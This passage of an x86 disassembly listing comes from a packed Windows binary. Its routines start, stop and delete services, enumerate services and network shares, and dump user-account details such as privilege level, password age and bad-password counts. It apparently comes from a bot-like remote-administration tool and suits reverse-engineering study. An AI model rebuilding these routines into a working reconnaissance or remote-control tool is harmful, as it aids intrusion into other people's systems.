dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C66 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439520[esi] push edi push eax call sub_418C88 add esp, 14h test eax, eax jnz short loc_418C56 push edi push off_43951C[esi] push offset unk_439630 loc_418C46: ; CODE XREF: sub_418C0E+56j mov esi, offset dword_4DBA40 push esi call sub_41C266 add esp, 10h jmp short loc_418C83 ; --------------------------------------------------------------------------- loc_418C56: ; CODE XREF: sub_418C0E+2Aj push eax call sub_418D2A pop ecx push eax push edi push offset unk_439604 jmp short loc_418C46 ; --------------------------------------------------------------------------- loc_418C66: ; CODE XREF: sub_418C0E+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DBA40 push off_439518[eax*4] push offset unk_4395E0 push esi call sub_41C266 add esp, 0Ch loc_418C83: ; CODE XREF: sub_418C0E+46j mov eax, esi pop edi pop esi retn sub_418C0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C88 proc near ; CODE XREF: sub_418C0E+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB9C8 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_418CAF call dword_427094 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_418D24 ; --------------------------------------------------------------------------- loc_418CAF: ; CODE XREF: sub_418C88+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB8B0 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_418CCF call dword_427094 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_418D1C ; --------------------------------------------------------------------------- loc_418CCF: ; CODE XREF: sub_418C88+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418D02 cmp eax, 3 jz short loc_418CF3 jle short loc_418D15 cmp eax, 6 jg short loc_418D15 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB91C ; ControlService jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418CF3: ; CODE XREF: sub_418C88+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB8B8 ; StartServiceA jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418D02: ; CODE XREF: sub_418C88+4Dj push esi call dword_4CB920 ; DeleteService loc_418D09: ; CODE XREF: sub_418C88+69j ; sub_418C88+78j test eax, eax jnz short loc_418D15 call dword_427094 ; RtlGetLastWin32Error mov ebx, eax loc_418D15: ; CODE XREF: sub_418C88+54j ; sub_418C88+59j ... push esi call dword_4CB8CC ; CloseServiceHandle loc_418D1C: ; CODE XREF: sub_418C88+45j push edi call dword_4CB8CC ; CloseServiceHandle pop esi loc_418D24: ; CODE XREF: sub_418C88+25j mov eax, ebx pop edi pop ebx leave retn sub_418C88 endp ; =============== S U B R O U T I N E ======================================= sub_418D2A proc near ; CODE XREF: sub_418C0E+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418DDF jz loc_418DD8 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418DA2 jz short loc_418D98 mov ecx, eax sub ecx, 3 jz short loc_418D8E dec ecx dec ecx jz short loc_418D84 dec ecx jz short loc_418D7A sub ecx, 51h jz short loc_418D70 sub ecx, 24h jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D70: ; CODE XREF: sub_418D2A+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D7A: ; CODE XREF: sub_418D2A+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D84: ; CODE XREF: sub_418D2A+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D8E: ; CODE XREF: sub_418D2A+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D98: ; CODE XREF: sub_418D2A+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418D2A+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418DD1 dec ecx jz short loc_418DCA dec ecx jz short loc_418DC3 dec ecx jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DC3: ; CODE XREF: sub_418D2A+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DCA: ; CODE XREF: sub_418D2A+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD1: ; CODE XREF: sub_418D2A+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD8: ; CODE XREF: sub_418D2A+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DDF: ; CODE XREF: sub_418D2A+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 jz short loc_418E42 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E96[ecx] jmp off_418E6E[ecx*4] ; switch jump loc_418E03: ; DATA XREF: .packed:off_418E6Eo push offset aTheSpecifiedDa ; jumptable 00418DFC case 7 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E0A: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .packed:off_418E6Eo push offset aTheServiceDepe ; jumptable 00418DFC case 17 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E11: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .packed:off_418E6Eo push offset aTheServiceDe_0 ; jumptable 00418DFC case 10 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E18: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .packed:off_418E6Eo push offset aTheServiceHasB ; jumptable 00418DFC case 0 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E1F: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .packed:off_418E6Eo push offset aTheSpecified_0 ; jumptable 00418DFC case 2 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E26: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .packed:off_418E6Eo push offset aTheServiceCoul ; jumptable 00418DFC case 11 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .packed:off_418E6Eo push offset aTheServiceHa_0 ; jumptable 00418DFC case 14 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .packed:off_418E6Eo push offset aTheRequested_1 ; jumptable 00418DFC case 3 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .packed:off_418E6Eo push offset aTheServiceHasN ; jumptable 00418DFC case 4 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E42: ; CODE XREF: sub_418D2A+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E47: ; CODE XREF: sub_418D2A+41j ; sub_418D2A+4Bj ... push offset dword_4DB380 call sub_41C266 pop ecx pop ecx jmp short loc_418E68 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418D2A+36j ; sub_418D2A+89j ... push eax ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DB380 call sub_41C266 add esp, 0Ch loc_418E68: ; CODE XREF: sub_418D2A+129j mov eax, offset dword_4DB380 retn sub_418D2A endp ; --------------------------------------------------------------------------- off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r dd offset loc_418E1F ; jump table for switch statement dd offset loc_418E34 dd offset loc_418E3B dd offset loc_418E03 dd offset loc_418E11 dd offset loc_418E26 dd offset loc_418E2D dd offset loc_418E0A dd offset loc_418E55 byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB9C8 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_418EE0: ; CODE XREF: sub_418EA8+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB994 ; EnumServicesStatusA test eax, eax jnz short loc_418F1A call dword_427094 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_418FCE loc_418F1A: ; CODE XREF: sub_418EA8+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418FC5 lea esi, [ebp+var_188] loc_418F2B: ; CODE XREF: sub_418EA8+117j mov eax, [esi+8] dec eax jz short loc_418F74 dec eax jz short loc_418F6D dec eax jz short loc_418F66 dec eax jz short loc_418F5F dec eax jz short loc_418F58 dec eax jz short loc_418F51 dec eax jz short loc_418F4A push offset aUnknown_0 ; " Unknown" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F4A: ; CODE XREF: sub_418EA8+99j push offset aPaused_0 ; " Paused" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F51: ; CODE XREF: sub_418EA8+96j push offset aPausing ; " Pausing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F58: ; CODE XREF: sub_418EA8+93j push offset aContinuing ; " Continuing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F5F: ; CODE XREF: sub_418EA8+90j push offset aRunning ; " Running" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418EA8+8Dj push offset aStoping ; " Stoping" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418EA8+8Aj push offset aStarting ; " Starting" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F74: ; CODE XREF: sub_418EA8+87j push offset aStopped ; " Stopped" loc_418F79: ; CODE XREF: sub_418EA8+A0j ; sub_418EA8+A7j ... lea eax, [ebp+var_20] push eax call sub_41C266 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C266 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418F2B loc_418FC5: ; CODE XREF: sub_418EA8+77j cmp [ebp+var_8], ebx jnz loc_418EE0 loc_418FCE: ; CODE XREF: sub_418EA8+6Cj push [ebp+var_C] call dword_4CB8CC ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41907F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41900E dec eax jnz short loc_41905F push edi push 0 call sub_4191B8 pop ecx pop ecx jmp short loc_41905B ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418FE5+18j cmp [ebp+arg_8], 0 jnz short loc_41904D push 24h push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_41904D push 57h pop eax loc_419025: ; CODE XREF: sub_418FE5+78j push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_439518[eax*4] push offset unk_439BC4 push esi call sub_41C266 add esp, 14h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41904D: ; CODE XREF: sub_418FE5+2Dj ; sub_418FE5+3Bj push [ebp+arg_8] push edi push 0 call sub_41910C add esp, 0Ch loc_41905B: ; CODE XREF: sub_418FE5+27j test eax, eax jnz short loc_419025 loc_41905F: ; CODE XREF: sub_418FE5+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_43951C[eax*4] push offset dword_439BA8 push esi call sub_41C266 add esp, 10h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41907F: ; CODE XREF: sub_418FE5+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB63C lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439B84 push esi call sub_41C266 add esp, 0Ch loc_41909F: ; CODE XREF: sub_418FE5+66j ; sub_418FE5+98j mov eax, esi pop edi pop esi pop ebp retn sub_418FE5 endp ; =============== S U B R O U T I N E ======================================= sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_4190B2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4190B2: ; CODE XREF: sub_4190A5+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427188 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4DB83C, 1 mov ebp, eax jnz short loc_4190EF or byte_4DB83C, 1 lea eax, [ebp+1] push eax call sub_41D9A5 pop ecx mov dword_4DB5DC, eax loc_4190EF: ; CODE XREF: sub_4190A5+32j push esi push esi push ebp push dword_4DB5DC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4DB5DC pop edi pop ebp pop ebx pop esi retn sub_4190A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep ; sub_41A6EA+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C990 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419177 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB8C8 pop edi leave retn sub_41910C endp ; =============== S U B R O U T I N E ======================================= sub_419177 proc near ; CODE XREF: sub_41910C+Ap ; sub_41910C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419184 pop ebp retn ; --------------------------------------------------------------------------- loc_419184: ; CODE XREF: sub_419177+9j push ebx push esi mov esi, dword_4270E8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D9A5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419177 endp ; =============== S U B R O U T I N E ======================================= sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p ; sub_41A3C6+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push 0 push eax push esi call dword_4CB8A0 pop esi retn sub_4191B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419177 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_419214: ; CODE XREF: sub_4191DB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB918 mov ebx, eax cmp ebx, esi jz short loc_419277 cmp ebx, 0EAh jz short loc_419277 push ebx push ebx call sub_4199AC pop ecx push eax lea eax, [ebp+var_210] push offset unk_439C10 push eax call sub_41C266 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_4192E4 ; --------------------------------------------------------------------------- loc_419277: ; CODE XREF: sub_4191DB+5Dj ; sub_4191DB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4192DB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419285: ; CODE XREF: sub_4191DB+FCj push dword ptr [esi+10h] call dword_4CB8BC ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41929C mov eax, offset aNo ; "No" loc_41929C: ; CODE XREF: sub_4191DB+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C266 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419285 xor esi, esi loc_4192DB: ; CODE XREF: sub_4191DB+A2j push [ebp+var_4] call dword_4CBA64 loc_4192E4: ; CODE XREF: sub_4191DB+9Aj cmp ebx, 0EAh jz loc_419214 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4191DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4193A1 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_41933E dec eax jz short loc_419333 dec eax jnz short loc_419359 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_419443 add esp, 14h jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419333: ; CODE XREF: sub_4192FC+1Dj push ebx push edi call sub_419422 pop ecx pop ecx jmp short loc_419355 ; --------------------------------------------------------------------------- loc_41933E: ; CODE XREF: sub_4192FC+1Aj cmp [ebp+arg_8], edi jz short loc_419352 push [ebp+arg_8] push ebx push edi call sub_4193C8 add esp, 0Ch jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419352: ; CODE XREF: sub_4192FC+45j push 57h pop eax loc_419355: ; CODE XREF: sub_4192FC+35j ; sub_4192FC+40j ... cmp eax, edi jnz short loc_419379 loc_419359: ; CODE XREF: sub_4192FC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_43951C[eax*4] push offset unk_439CC8 push esi call sub_41C266 add esp, 10h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_419379: ; CODE XREF: sub_4192FC+5Bj push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_439518[eax*4] push offset unk_439C98 push esi call sub_41C266 add esp, 14h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_4193A1: ; CODE XREF: sub_4192FC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB840 lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439C70 push esi call sub_41C266 add esp, 0Ch loc_4193C1: ; CODE XREF: sub_4192FC+7Bj ; sub_4192FC+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419177 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB8AC pop edi leave retn sub_4193C8 endp ; =============== S U B R O U T I N E ======================================= sub_419422 proc near ; CODE XREF: sub_4192FC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push eax push esi call dword_4CB89C pop esi retn sub_419422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CBA2C test eax, eax mov [ebp+arg_0], eax jnz loc_4197EB mov eax, [ebp+var_4] test eax, eax jz loc_419826 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C266 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419562 dec eax jz short loc_41955B dec eax jz short loc_419554 mov eax, offset aUnknown ; "Unknown" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419554: ; CODE XREF: sub_419443+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_41955B: ; CODE XREF: sub_419443+105j mov eax, offset aUser_1 ; "User" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419562: ; CODE XREF: sub_419443+102j mov eax, offset aGuest ; "Guest" loc_419567: ; CODE XREF: sub_419443+10Fj ; sub_419443+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C266 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 add esp, 20h pop edi pop ebx jmp short loc_419817 ; --------------------------------------------------------------------------- loc_4197EB: ; CODE XREF: sub_419443+35j push eax lea eax, [ebp+var_204] push offset unk_439CE8 push eax call sub_41C266 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409869 add esp, 20h 